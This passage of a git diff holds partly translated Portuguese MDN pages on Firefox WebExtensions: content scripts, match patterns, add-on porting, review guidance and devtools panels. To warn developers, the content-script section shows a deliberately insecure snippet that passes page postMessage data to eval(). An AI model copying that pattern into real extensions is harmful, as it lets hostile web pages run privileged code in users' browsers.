Um script de conteúdo é uma parte da sua extensão que é executada no contexto de uma determinada página da Web (em oposição aos scripts de segundo plano que são parte da própria extensão, ou scripts que são parte do próprio site da Web, tal como aqueles carregados utilizando o {{HTMLElement("script")}} elemento.

+ +

Background scripts can access all the WebExtension JavaScript APIs, but they can't directly access the content of web pages. So if your extension needs to do that, you need content scripts.

+ +

Just like the scripts loaded by normal web pages, content scripts can read and modify the content of their pages using the standard DOM APIs.

+ +

Content scripts can only access a small subset of the WebExtension APIs, but they can communicate with background scripts using a messaging system, and thereby indirectly access the WebExtension APIs.

+ +
+

Note that content scripts are blocked on the following domains: accounts-static.cdn.mozilla.net, accounts.firefox.com, addons.cdn.mozilla.net, addons.mozilla.org, api.accounts.firefox.com, content.cdn.mozilla.net, content.cdn.mozilla.net, discovery.addons.mozilla.org, input.mozilla.org, install.mozilla.org, oauth.accounts.firefox.com, profile.accounts.firefox.com, support.mozilla.org, sync.services.mozilla.com, and testpilot.firefox.com. If you try to inject a content script into a page in these domains, it will fail and the page will log a CSP error.

+ +

As these restrictions include addons.mozilla.org, users may attempt to use your extension immediately after installation and find it doesn't work. You may want to add an appropriate warning or an onboarding page that moves users away from addons.mozilla.org.

+
+ +
+

Values added to the global scope of a content script with var foo or window.foo = "bar" may disappear due to bug 1408996.

+
+ +

Carregar scripts de conteúdo

+ +

You can load a content script into a web page in one of three ways:

+ +
    +
  1. at install time, into pages that match URL patterns: using the content_scripts key in your manifest.json, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern.
  2. +
  3. at runtime, into pages that match URL patterns: using the {{WebExtAPIRef("contentScripts")}} API, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern. This is just like method (1), except you can add and remove content scripts at runtime.
  4. +
  5. at runtime, into specific tabs: using the tabs.executeScript() API, you can load a content script into a specific tab whenever you want: for example, in response to the user clicking on a browser action.
  6. +
+ +

There is only one global scope per frame per extension, so variables from one content script can directly be accessed by another content script, regardless of how the content script was loaded.

+ +

Using methods (1) and (2) you can only load scripts into pages whose URLs can be represented using a match pattern. Using method (3), you can also load scripts into pages packaged with your extension, but you can't load scripts into privileged browser pages like "about:debugging" or "about:addons".

+ +

Ambiente de script de conteúdo

+ +

Acesso DOM

+ +

Content scripts can access and modify the page's DOM, just like normal page scripts can. They can also see any changes that were made to the DOM by page scripts.

+ +

However, content scripts get a "clean view of the DOM". This means:

+ + + +

In Firefox, this behavior is called Xray vision.

+ +

For example, consider a web page like this:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
+  </head>
+
+  <body>
+    <script src="page-scripts/page-script.js"></script>
+  </body>
+</html>
+ +

The script "page-script.js" does this:

+ +
// page-script.js
+
+// add a new element to the DOM
+var p = document.createElement("p");
+p.textContent = "This paragraph was added by a page script.";
+p.setAttribute("id", "page-script-para");
+document.body.appendChild(p);
+
+// define a new property on the window
+window.foo = "This global variable was added by a page script";
+
+// redefine the built-in window.confirm() function
+window.confirm = function() {
+  alert("The page script has also redefined 'confirm'");
+}
+ +

Now an extension injects a content script into the page:

+ +
// content-script.js
+
+// can access and modify the DOM
+var pageScriptPara = document.getElementById("page-script-para");
+pageScriptPara.style.backgroundColor = "blue";
+
+// can't see page-script-added properties
+console.log(window.foo);  // undefined
+
+// sees the original form of redefined properties
+window.confirm("Are you sure?"); // calls the original window.confirm()
+ +

The same is true in reverse: page scripts can't see JavaScript properties added by content scripts.

+ +

All this means that the content script can rely on DOM properties behaving predictably, and doesn't have to worry about variables it defines clashing with variables defined in the page script.

+ +

One practical consequence of this behavior is that a content script won't have access to any JavaScript libraries loaded by the page. So for example, if the page includes jQuery, the content script won't be able to see it.

+ +

If a content script does want to use a JavaScript library, then the library itself should be injected as a content script alongside the content script that wants to use it:

+ +
"content_scripts": [
+  {
+    "matches": ["*://*.mozilla.org/*"],
+    "js": ["jquery.js", "content-script.js"]
+  }
+]
+ +

Note that Firefox provides some APIs that enable content scripts to access JavaScript objects created by page scripts and to expose their own JavaScript objects to page scripts. See Sharing objects with page scripts for more details.

+ +

APIs da Extensão da Web

+ +

In addition to the standard DOM APIs, content scripts can use the following WebExtension APIs:

+ +

From extension:

+ + + +

From runtime:

+ + + +

From i18n:

+ + + +

From menus:

+ + + +

Everything from storage.

+ +

XHR e Fetch

+ +

Content scripts can make requests using the normal window.XMLHttpRequest and window.fetch() APIs.

+ +

Content scripts get the same cross-domain privileges as the rest of the extension: so if the extension has requested cross-domain access for a domain using the permissions key in manifest.json, then its content scripts get access that domain as well.

+ +

This is accomplished by exposing more privileged XHR and fetch instances in the content script, which has the side-effect of not setting the Origin and Referer headers like a request from the page itself would, this is often preferable to prevent the request from revealing its cross-orign nature. From version 58 onwards extensions that need to perform requests that behave as if they were sent by the content itself can use  content.XMLHttpRequest and content.fetch() instead. For cross-browser extensions their presence must be feature-detected.

+ +

Comunicar com scripts de segundo plano

+ +

Although content scripts can't directly use most of the WebExtension APIs, they can communicate with the extension's background scripts using the messaging APIs, and can therefore indirectly access all the same APIs that the background scripts can.

+ +

There are two basic patterns for communicating between the background scripts and content scripts: you can send one-off messages, with an optional response, or you can set up a longer-lived connection between the two sides, and use that connection to exchange messages.

+ +

One-off messages

+ +

To send one-off messages, with an optional response, you can use the following APIs:

+ + + + + + + + + + + + + + + + + + + + + +
In content scriptIn background script
Send a messagebrowser.runtime.sendMessage()browser.tabs.sendMessage()
Receive a messagebrowser.runtime.onMessagebrowser.runtime.onMessage
+ +

For example, here's a content script which listens for click events in the web page. If the click was on a link, it messages the background page with the target URL:

+ +
// content-script.js
+
+window.addEventListener("click", notifyExtension);
+
+function notifyExtension(e) {
+  if (e.target.tagName != "A") {
+    return;
+  }
+  browser.runtime.sendMessage({"url": e.target.href});
+}
+ +

The background script listens for these messages and displays a notification using the notifications API:

+ +
// background-script.js
+
+browser.runtime.onMessage.addListener(notify);
+
+function notify(message) {
+  browser.notifications.create({
+    "type": "basic",
+    "iconUrl": browser.extension.getURL("link.png"),
+    "title": "You clicked a link!",
+    "message": message.url
+  });
+}
+
+ +

This example code is lightly adapted from the notify-link-clicks-i18n example on GitHub.

+ +

Connection-based messaging

+ +

Sending one-off messages can get cumbersome if you are exchanging a lot of messages between a background script and a content script. So an alternative pattern is to establish a longer-lived connection between the two contexts, and use this connection to exchange messages.

+ +

Each side has a runtime.Port object, which they can use to exchange messages.

+ +

To create the connection:

+ + + +

Once each side has a port, the two sides can exchange messages using runtime.Port.postMessage() to send a message, and runtime.Port.onMessage to receive messages.

+ +

For example, as soon as it loads, this content script:

+ + + +
// content-script.js
+
+var myPort = browser.runtime.connect({name:"port-from-cs"});
+myPort.postMessage({greeting: "hello from content script"});
+
+myPort.onMessage.addListener(function(m) {
+  console.log("In content script, received message from background script: ");
+  console.log(m.greeting);
+});
+
+document.body.addEventListener("click", function() {
+  myPort.postMessage({greeting: "they clicked the page!"});
+});
+ +

The corresponding background script:

+ + + +
// background-script.js
+
+var portFromCS;
+
+function connected(p) {
+  portFromCS = p;
+  portFromCS.postMessage({greeting: "hi there content script!"});
+  portFromCS.onMessage.addListener(function(m) {
+    console.log("In background script, received message from content script")
+    console.log(m.greeting);
+  });
+}
+
+browser.runtime.onConnect.addListener(connected);
+
+browser.browserAction.onClicked.addListener(function() {
+  portFromCS.postMessage({greeting: "they clicked the button!"});
+});
+
+ +

Multiple content scripts

+ +

If you have multiple content scripts communicating at the same time, you might want to store each connection in an array.

+ + + + + +
// background-script.js
+
+var ports = []
+
+function connected(p) {
+  ports[p.sender.tab.id]    = p
+  //...
+}
+
+browser.runtime.onConnect.addListener(connected)
+
+browser.browserAction.onClicked.addListener(function() {
+  ports.forEach(p => {
+        p.postMessage({greeting: "they clicked the button!"})
+    })
+});
+ + + + + +

Comunicar com a página da Web

+ +

Although content scripts don't by default get access to objects created by page scripts, they can communicate with page scripts using the DOM window.postMessage and window.addEventListener APIs.

+ +

For example:

+ +
// page-script.js
+
+var messenger = document.getElementById("from-page-script");
+
+messenger.addEventListener("click", messageContentScript);
+
+function messageContentScript() {
+  window.postMessage({
+    direction: "from-page-script",
+    message: "Message from the page"
+  }, "*");
+ +
// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &&
+      event.data &&
+      event.data.direction == "from-page-script") {
+    alert("Content script received message: \"" + event.data.message + "\"");
+  }
+});
+ +

For a complete working example of this, visit the demo page on GitHub and follow the instructions.

+ +
+

Note that any time you interact with untrusted web content on this way, you need to be very careful. Extensions are privileged code which can have powerful capabilities, and hostile web pages can easily trick them into accessing those capabilities.

+ +

To make a trivial example, suppose the content script code that receives the message does something like this:

+ +
// content-script.js
+
+window.addEventListener("message", function(event) {
+  if (event.source == window &&
+      event.data.direction &&
+      event.data.direction == "from-page-script") {
+    eval(event.data.message);
+  }
+});
+ +

Now the page script can run any code with all the privileges of the content script.

+
+ +

Using eval() in content scripts

+ +

In Chrome, eval() always runs code in the context of the content script, not in the context of the page.

+ +

In Firefox:

+ + + +

For example, consider a content script like this:

+ +
// content-script.js
+
+window.eval('window.x = 1;');
+eval('window.y = 2');
+
+console.log(`In content script, window.x: ${window.x}`);
+console.log(`In content script, window.y: ${window.y}`);
+
+window.postMessage({
+  message: "check"
+}, "*");
+ +

This code just creates some variables x and y using window.eval() and eval(), then logs their values, then messages the page.

+ +

On receiving the message, the page script logs the same variables:

+ +
window.addEventListener("message", function(event) {
+  if (event.source === window && event.data && event.data.message === "check") {
+    console.log(`In page script, window.x: ${window.x}`);
+    console.log(`In page script, window.y: ${window.y}`);
+  }
+});
+ +

In Chrome, this will produce output like this:

+ +
In content script, window.x: 1
+In content script, window.y: 2
+In page script, window.x: undefined
+In page script, window.y: undefined
+ +

In Firefox the following output is produced:

+ +
In content script, window.x: undefined
+In content script, window.y: 2
+In page script, window.x: 1
+In page script, window.y: undefined
+ +

The same applies to setTimeout(), setInterval(), and Function().

+ +

When running code in the context of the page, be very careful. The page's environment is controlled by potentially malicious web pages, which can redefine objects you interact with to behave in unexpected ways:

+ +
// page.js redefines console.log
+
+var original = console.log;
+
+console.log = function() {
+  original(true);
+}
+
+ +
// content-script.js calls the redefined version
+
+window.eval('console.log(false)');
+
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/conversao_de_uma_extensao_legada_do_firefox/index.html b/files/pt-pt/mozilla/add-ons/webextensions/conversao_de_uma_extensao_legada_do_firefox/index.html deleted file mode 100644 index 1898b1712a..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/conversao_de_uma_extensao_legada_do_firefox/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Conversão de uma extensão legada do Firefox -slug: Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox -translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on ---- -
{{AddonSidebar}}
- -

Se desenvolveu uma extensão do Firefox utilziando XUL/XPCOM ou SDK de EXtras, esta página irá ajudá-lo a migraar a sua extensão para utilizar as APIs das Extensões da Web. O padrão para criar extensões para o Firefox é para utilizar as APIs das Extensões da Web. Este será a único tipo de extensão suportado no Firefox no fim de novembro de 2017, com o lançamento da versão 57 do Firefox.

- -

Início rápido

- -
    -
  1. Get an idea of the main things you'll have to change in your extension: - -
  2. -
  3. Rewrite your extension code. See below for migration paths for different types of extensions. From Firefox 51 onwards, you can embed an extension built using WebExtension APIs in a bootstrapped extension or an SDK add-on, and can thus port a legacy extension a piece at a time, and have a working extension at each step. See Embedded WebExtensions for more information.
  4. -
  5. When you're ready to submit the WebExtension version of your extension to AMO... wait a minute... are you truly ready? Because of the extensions permissions model, you cannot revert from WebExtensions back to using a legacy extension format. So test thoroughly, because this is a permanent one-way trip. Also, see the hybrid example below. If you're not ready, you can embed your WebExtension in a legacy extension container, which allows you to test your extension migration but still go back if needed in an emergency.
  6. -
  7. When you're really ready to submit the WebExtension version of your extension to AMO, first port your old add-on ID to the new WebExtension manifest.json file. Your extension must have the same ID as previous versions. Copy the value in the "id" field from your package.json file into the id field in the applications section of the WebExtension manifest.json file. Then you can submit your extension update to AMO as your normally would.
  8. -
- -
-

Note that this is a one-way conversion: You cannot update an extension using WebExtensions to use a legacy technology. This means that you must be sure that you are ready to commit to using WebExtension APIs before you submit the updated add-on to AMO.

-
- -

Camnihos de migração

- -

Extensões SDK

- -

Here is the comparison chart showing SDK APIs and their WebExtensions format counterparts. If you don't see the APIs you need to port to use WebExtensions APIs, look below to learn how to request APIs and also how to implement them.

- -

Extensões XUL/XPCOM

- -

Here is the comparison chart showing XUL/XPCOM APIs and their WebExtensions format counterparts. If you don't see the APIs you need to port to use WebExtension APIs, look below to learn how to request APIs and also how to implement them.

- -

Migração parcial

- -

An Embedded WebExtension is an extension that combines two types of extensions in one, by incorporating a WebExtension inside of a bootstrapped or SDK extension. If you have a legacy extension that writes data to the filesystem, and you’re planning to port it to WebExtensions, Embedded WebExtensions are available to help you transition. Embedded WebExtensions can be used to transfer the stored data of your add-on to a format that can be used by WebExtensions. This is essential because it lets you to convert your users without the need for them to take any actions.

- -

It’s important to emphasize that Embedded WebExtensions are intended to be a transition tool, and will not be supported past Firefox 57. They should not be used for add-ons that are not expected to transition to WebExtensions.

- -

Não vê as APIs das Extensões da Web que precisa?

- -

Develop WebExtension APIs for Firefox - If you're experienced with Mozilla infrastructure and would like to develop WebExtensions APIs directly for Firefox, here is a list of approved APIs that you can start contributing to.

- -

Experiment with new WebExtension APIs - If you want to prototype and tinker with WebExtensions APIs without having to build Firefox, WebExtensions Experiments is for you!

- -

Request a new WebExtensions API - If you want to request a new WebExtensions API, please read this page.

- -

Ferramentas

- - - -

Documentação

- - - -

Contactar

- - diff --git "a/files/pt-pt/mozilla/add-ons/webextensions/dubla_padr\303\265es/index.html" "b/files/pt-pt/mozilla/add-ons/webextensions/dubla_padr\303\265es/index.html" deleted file mode 100644 index 8c0f5e3480..0000000000 --- "a/files/pt-pt/mozilla/add-ons/webextensions/dubla_padr\303\265es/index.html" +++ /dev/null @@ -1,430 +0,0 @@ ---- -title: dubla padrões em extensão manifestos -slug: Mozilla/Add-ons/WebExtensions/dubla_padrões -translation_of: Mozilla/Add-ons/WebExtensions/Match_patterns ---- -
{{AddonSidebar}}
- -

Match patterns are a way to specify groups of URLs: a match pattern matches a specific set of URLs. They are used in WebExtensions APIs in a few places, most notably to specify which documents to load content scripts into, and to specify which URLs to add webRequest listeners to.

- -

APIs that use match patterns usually accept a list of match patterns, and will perform the appropriate action if the URL matches any of the patterns. See, for example, the content_scripts key in manifest.json.

- -

Match pattern structure

- -
-

Note: Some browsers don’t support certain schemes.
- Check the Browser compatibility table for details.

-
- -

All match patterns are specified as strings. Apart from the special <all_urls> pattern, match patterns consist of three parts: scheme, host, and path. The scheme and host are separated by ://.

- -
<scheme>://<host><path>
- -

scheme

- -

The scheme component may take one of two forms:

- - - - - - - - - - - - - - - - - - -
FormMatches
*Only "http" and "https" and in some browsers also "ws" and "wss".
One of http, https, ws, wss, ftp, ftps, data or file.Only the given scheme.
- -

host

- -

The host component may take one of three forms:

- - - - - - - - - - - - - - - - - - - - - - -
FormMatches
*Any host.
*. followed by part of the hostname.The given host and any of its subdomains.
A complete hostname, without wildcards.Only the given host.
- -

host must not include a port number.

- -

host is optional only if the scheme is "file".

- -

Note that the wildcard may only appear at the start.

- -

path

- -

The path component must begin with a /.

- -

After that, it may subsequently contain any combination of the * wildcard and any of the characters that are allowed in URL paths or query strings. Unlike host, the path component may contain the * wildcard in the middle or at the end, and the * wildcard may appear more than once.

- -

The value for the path matches against the string which is the URL path plus the URL query string. This includes the ? between the two, if the query string is present in the URL. For example, if you want to match URLs on any domain where the URL path ends with foo.bar, then you need to use an array of Match Patterns like ['*://*/*foo.bar', '*://*/*foo.bar?*']. The ?* is needed, rather than just bar*, in order to anchor the ending * as applying to the URL query string and not some portion of the URL path.

- -

Neither the URL fragment identifier, nor the # which precedes it, are considered as part of the path.

- -
-

Note: The path pattern string should not include a port number. Adding a port, as in: "http://localhost:1234/*" causes the match pattern to be ignored. However, "http://localhost:1234" will match with "http://localhost/*"

-
- -

<all_urls>

- -

The special value <all_urls> matches all URLs under any of the supported schemes: that is "http", "https", "ws", "wss", "ftp", "data", and "file".

- -

Examples

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PatternExample matchesExample non-matches
-

<all_urls>

- -

Match all URLs.

-
-

http://example.org/

- -

https://a.org/some/path/

- -

ws://sockets.somewhere.org/

- -

wss://ws.example.com/stuff/

- -

ftp://files.somewhere.org/

- -

ftps://files.somewhere.org/

-
-

resource://a/b/c/
- (unsupported scheme)

-
-

*://*/*

- -

Match all HTTP, HTTPS and WebSocket URLs.

-
-

http://example.org/

- -

https://a.org/some/path/

- -

ws://sockets.somewhere.org/

- -

wss://ws.example.com/stuff/

-
-

ftp://ftp.example.org/
- (unmatched scheme)

- -

ftps://ftp.example.org/
- (unmatched scheme)

- -

file:///a/
- (unmatched scheme)

-
-

*://*.mozilla.org/*

- -

Match all HTTP, HTTPS and WebSocket URLs that are hosted at "mozilla.org" or one of its subdomains.

-
-

http://mozilla.org/

- -

https://mozilla.org/

- -

http://a.mozilla.org/

- -

http://a.b.mozilla.org/

- -

https://b.mozilla.org/path/

- -

ws://ws.mozilla.org/

- -

wss://secure.mozilla.org/something

-
-

ftp://mozilla.org/
- (unmatched scheme)

- -

http://mozilla.com/
- (unmatched host)

- -

http://firefox.org/
- (unmatched host)

-
-

*://mozilla.org/

- -

Match all HTTP, HTTPS and WebSocket URLs that are hosted at exactly "mozilla.org/".

-
-

http://mozilla.org/

- -

https://mozilla.org/

- -

ws://mozilla.org/

- -

wss://mozilla.org/

-
-

ftp://mozilla.org/
- (unmatched scheme)

- -

http://a.mozilla.org/
- (unmatched host)

- -

http://mozilla.org/a
- (unmatched path)

-
-

ftp://mozilla.org/

- -

Match only "ftp://mozilla.org/".

-
ftp://mozilla.org -

http://mozilla.org/
- (unmatched scheme)

- -

ftp://sub.mozilla.org/
- (unmatched host)

- -

ftp://mozilla.org/path
- (unmatched path)

-
-

https://*/path

- -

Match HTTPS URLs on any host, whose path is "path".

-
-

https://mozilla.org/path

- -

https://a.mozilla.org/path

- -

https://something.com/path

-
-

http://mozilla.org/path
- (unmatched scheme)

- -

https://mozilla.org/path/
- (unmatched path)

- -

https://mozilla.org/a
- (unmatched path)

- -

https://mozilla.org/
- (unmatched path)

- -

https://mozilla.org/path?foo=1
- (unmatched path due to URL query string)

-
-

https://*/path/

- -

Match HTTPS URLs on any host, whose path is "path/" and which has no URL query string.

-
-

https://mozilla.org/path/

- -

https://a.mozilla.org/path/

- -

https://something.com/path/

-
-

http://mozilla.org/path/
- (unmatched scheme)

- -

https://mozilla.org/path
- (unmatched path)

- -

https://mozilla.org/a
- (unmatched path)

- -

https://mozilla.org/
- (unmatched path)

- -

https://mozilla.org/path/?foo=1
- (unmatched path due to URL query string)

-
-

https://mozilla.org/*

- -

Match HTTPS URLs only at "mozilla.org", with any URL path and URL query string.

-
-

https://mozilla.org/

- -

https://mozilla.org/path

- -

https://mozilla.org/another

- -

https://mozilla.org/path/to/doc

- -

https://mozilla.org/path/to/doc?foo=1

-
-

http://mozilla.org/path
- (unmatched scheme)

- -

https://mozilla.com/path
- (unmatched host)

-
-

https://mozilla.org/a/b/c/

- -

Match only this URL, or this URL with any URL fragment.

-
-

https://mozilla.org/a/b/c/

- -

https://mozilla.org/a/b/c/#section1

-
Anything else.
-

https://mozilla.org/*/b/*/

- -

Match HTTPS URLs hosted on "mozilla.org", whose path contains a component "b" somewhere in the middle. Will match URLs with query strings, if the string ends in a /.

-
-

https://mozilla.org/a/b/c/

- -

https://mozilla.org/d/b/f/

- -

https://mozilla.org/a/b/c/d/

- -

https://mozilla.org/a/b/c/d/#section1

- -

https://mozilla.org/a/b/c/d/?foo=/

- -

https://mozilla.org/a?foo=21314&bar=/b/&extra=c/

-
-

https://mozilla.org/b/*/
- (unmatched path)

- -

https://mozilla.org/a/b/
- (unmatched path)

- -

https://mozilla.org/a/b/c/d/?foo=bar
- (unmatched path due to URL query string)

-
-

file:///blah/*

- -

Match any FILE URL whose path begins with "blah".

-
-

file:///blah/

- -

file:///blah/bleh

-
file:///bleh/
- (unmatched path)
- -

Invalid match patterns

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Invalid patternReason
resource://path/Unsupported scheme.
https://mozilla.orgNo path.
https://mozilla.*.org/"*" in host must be at the start.
https://*zilla.org/"*" in host must be the only character or be followed by ".".
http*://mozilla.org/"*" in scheme must be the only character.
https://mozilla.org:80/Host must not include a port number.
*://*Empty path: this should be "*://*/*".
file://*Empty path: this should be "file:///*".
- -

Browser compatibility

- -

scheme

- - - -

{{Compat("webextensions.match_patterns.scheme",10)}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/e_a_seguir/index.html b/files/pt-pt/mozilla/add-ons/webextensions/e_a_seguir/index.html deleted file mode 100644 index f16f7e619b..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/e_a_seguir/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: E a seguir? -slug: Mozilla/Add-ons/WebExtensions/E_a_seguir -tags: - - Extensão da Web - - Extensões - - Principiante -translation_of: Mozilla/Add-ons/WebExtensions/What_next_ ---- -
{{AddonSidebar}}
- -

Agora, irá estar pronto para começar a transformar a sua ideia de uma extensão de navegador em realidade. Antes de começar essa jornada, vale a pena estar ciente de algumas coisas que irão ajudar a facilitar.

- -

O seu ambiente de desenvolvimento

- -

You don't need any special development or build environment tools to create browser extensions: It's entirely possible to create great browser extensions with no more than a text editor. However, you may have been developing for the web and have a set of tools and an environment you want to reuse. If you do, you need to be aware of a couple of things.

- -

If you use minification or obfuscation tools to deliver your final code, you’ll need to provide your source code to the AMO review process. Also, the tools you use—those for minification,  obfuscation, and build processes—will need to be open source (or offer unlimited free use) and be available to run on the reviewer’s computer (Windows, Mac, or Linux). Unfortunately, our reviewers can't work with commercial or web-based tools.

- -

Learn more about build tools

- -

Bibliotecas de terceiros

- -

Third-party libraries are a great way to add complex features or functionality to your browser extensions quickly. When you submit an extension to the AMO review process, the process will also consider any third-party libraries used. To streamline the review, make sure you always download third-party libraries from their official website or repository, and if the library is minified provide a link to the source code. Please note that third-party libraries cannot be modified in any way.

- -

Learn more about submitting source code

- -

O Acordo de Distribuição do Extra do Firefox

- -

Browser extensions need to be signed to install into the release or beta versions of Firefox. Signing takes place in addons.mozilla.org (AMO) and is subject to the terms and conditions of the Firefox Add-on Distribution Agreement. The goal of the agreement is to ensure Firefox users get access to well supported, quality add-ons that enhance the Firefox experience.

- -

Leia o acordo

- -

Learn more about signing

- -

O processo de revisão

- -

When a browser extension is submitted for signing, it's subject to automated review. It may also be subject to a manual review, when the automated review determines that a manual review is needed. Your browser extension won't be signed until it’s passed the automated review and may have its signing revoked if it fails to pass the manual review. The review process follows a strict set of guidelines, so it’s easy to check and avoid any likely review problems.

- -

Check out the review policy and guidelines

- -

Extensões do navegador em destaque no AMO

- -

If you choose to list your browser extension on AMO, your extension could be featured on the AMO website, in the Firefox browser’s add-on manager, or elsewhere on a Mozilla website. We've compiled a list of guidelines about how extensions are selected for featuring, by following these guidelines you give your extension the best chance of being featured.

- -

Saiba mais sobre como colocar os seus extras em destaque

- -

Continue a sua experiência de aprendizagem

- -

Now you know what lies ahead, it's time to dive into more details about browser extension development. In the sections that follow, you’ll discover:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html b/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html new file mode 100644 index 0000000000..4a68068c6a --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html @@ -0,0 +1,28 @@ +--- +title: Exemplos de extensões +slug: Mozilla/Add-ons/WebExtensions/Exemplos_extensoes +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Examples +--- +
{{AddonSidebar}}
+ +

Para ajudar a ilustrar como desenvolver extensões, nós mantemos um repositório de exemplos de extensões simples em https://github.com/mdn/webextensions-examples. Este artigo descreve as APIs de Extensão da Web utilizadas nesse repositório.

+ +

Estes exemplos funcionam no Firefox Nightly: a maioria funciona nas versões anteriores do Firefox, mas verifique a chave strict_min_version em manifest.json da extensão para se certificar.

+ +

Se quiser experimentar estes exemplos, tem três opções principais:

+ +
    +
  1. Clone o repositório, depois carregue a extensão diretamente da sua diretoria fonte, utilizando a funcionalidade "Carregar Temporariamente os Extras". A extensão permanecerá carregada até que reinicie o Firefox.
  2. +
  3. Clone o repositório, depois utilize a ferramenta de linha de comando web-ext para executar o Firefox com a extensão instalada.
  4. +
  5. Clone o repositório, depois vá para a diretoria de build. Esta contém as versões criadas e assinadas de todos os exemplos, e assim pode abri-las no Firefox (utilizando Ficheiro/Abrir Ficheiro) e instale-as permanentemente, tal como uma extensão que instalaria a partir de addons.mozilla.org.
  6. +
+ +
+

Importante: Por favor, não submeta estes exemplos dos exemplos da 'Extensão da Web' para AMO (addons.mozilla.org), não precisa de assinar o extra para executar os exemplos da 'Extensão da Web'. Basta seguir os passos acima.

+
+ +

Se desejar contribuir para o repositório, envie-nos um pedido de submissão!

+ +

{{WebExtAllExamples}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/exemplos_extensoes/index.html b/files/pt-pt/mozilla/add-ons/webextensions/exemplos_extensoes/index.html deleted file mode 100644 index 4a68068c6a..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/exemplos_extensoes/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Exemplos de extensões -slug: Mozilla/Add-ons/WebExtensions/Exemplos_extensoes -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Examples ---- -
{{AddonSidebar}}
- -

Para ajudar a ilustrar como desenvolver extensões, nós mantemos um repositório de exemplos de extensões simples em https://github.com/mdn/webextensions-examples. Este artigo descreve as APIs de Extensão da Web utilizadas nesse repositório.

- -

Estes exemplos funcionam no Firefox Nightly: a maioria funciona nas versões anteriores do Firefox, mas verifique a chave strict_min_version em manifest.json da extensão para se certificar.

- -

Se quiser experimentar estes exemplos, tem três opções principais:

- -
    -
  1. Clone o repositório, depois carregue a extensão diretamente da sua diretoria fonte, utilizando a funcionalidade "Carregar Temporariamente os Extras". A extensão permanecerá carregada até que reinicie o Firefox.
  2. -
  3. Clone o repositório, depois utilize a ferramenta de linha de comando web-ext para executar o Firefox com a extensão instalada.
  4. -
  5. Clone o repositório, depois vá para a diretoria de build. Esta contém as versões criadas e assinadas de todos os exemplos, e assim pode abri-las no Firefox (utilizando Ficheiro/Abrir Ficheiro) e instale-as permanentemente, tal como uma extensão que instalaria a partir de addons.mozilla.org.
  6. -
- -
-

Importante: Por favor, não submeta estes exemplos dos exemplos da 'Extensão da Web' para AMO (addons.mozilla.org), não precisa de assinar o extra para executar os exemplos da 'Extensão da Web'. Basta seguir os passos acima.

-
- -

Se desejar contribuir para o repositório, envie-nos um pedido de submissão!

- -

{{WebExtAllExamples}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html b/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html new file mode 100644 index 0000000000..dc98e7fd37 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html @@ -0,0 +1,156 @@ +--- +title: Extensão das ferramentas de desenvolvimento +slug: Mozilla/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento +translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools +--- +
{{AddonSidebar}}
+ +
+

Esta página descreve as APIs das devtools  que existem no Firefox 55. Embora as APIs sejam baseadas nas APIs de devtools do Chrome, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte Limitações das APIs de devtools.

+
+ +

Pode utilizar as APIs das Extensões da Web para ampliar as ferramentas de desenvollvimento integradas no navegador. Para criar a extensão devtools, inclua a chave "devtools_page" no manifest.json:

+ +
"devtools_page": "devtools/devtools-page.html"
+ +

O valor desta chave é um URL a apontar para um ficheiro HTML que foi incorporado com a sua extensão. O URL deverá ser relativo ao próprio ficheiro manifest.json.

+ +

O ficheiro HTML define uma página especial na extensão, chamada de página devtools.

+ +

A página devtools

+ +

The devtools page is loaded when the browser devtools are opened, and unloaded when it is closed. Note that because the devtools window is associated with a single tab, it's quite possible for more than one devtools window - hence more than one devtools page - to exist at the same time.

+ +

The devtools page doesn't have any visible DOM, but can include JavaScript sources using <script> tags. The sources must be bundled with the extension itself. The sources get access to:

+ + + +

Note that the devtools page does not get access to any other WebExtension APIs, and the background page doesn't get access to the devtools APIs. Instead, the devtools page and the background page must communicate using the runtime messaging APIs.

+ +

Criar painéis

+ +

The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".

+ +

Using the devtools.panels.create() API, you can create your own panel in the devtools window:

+ +
browser.devtools.panels.create(
+  "My Panel",                      // title
+  "icons/star.png",                // icon
+  "devtools/panel/panel.html"      // content
+).then((newPanel) => {
+  newPanel.onShown.addListener(initialisePanel);
+  newPanel.onHidden.addListener(unInitialisePanel);
+});
+ +

This takes three mandatory arguments: the panel's title, icon, and content. It returns a Promise which resolves to a devtools.panels.ExtensionPanel object representing the new panel.

+ +

Interagir com a janela de destino

+ +

The developer tools are always attached to a particular browser tab. This is referred to as the "target" for the developer tools, or the "inspected window". You can interact with the inspected window using the devtools.inspectedWindow API.
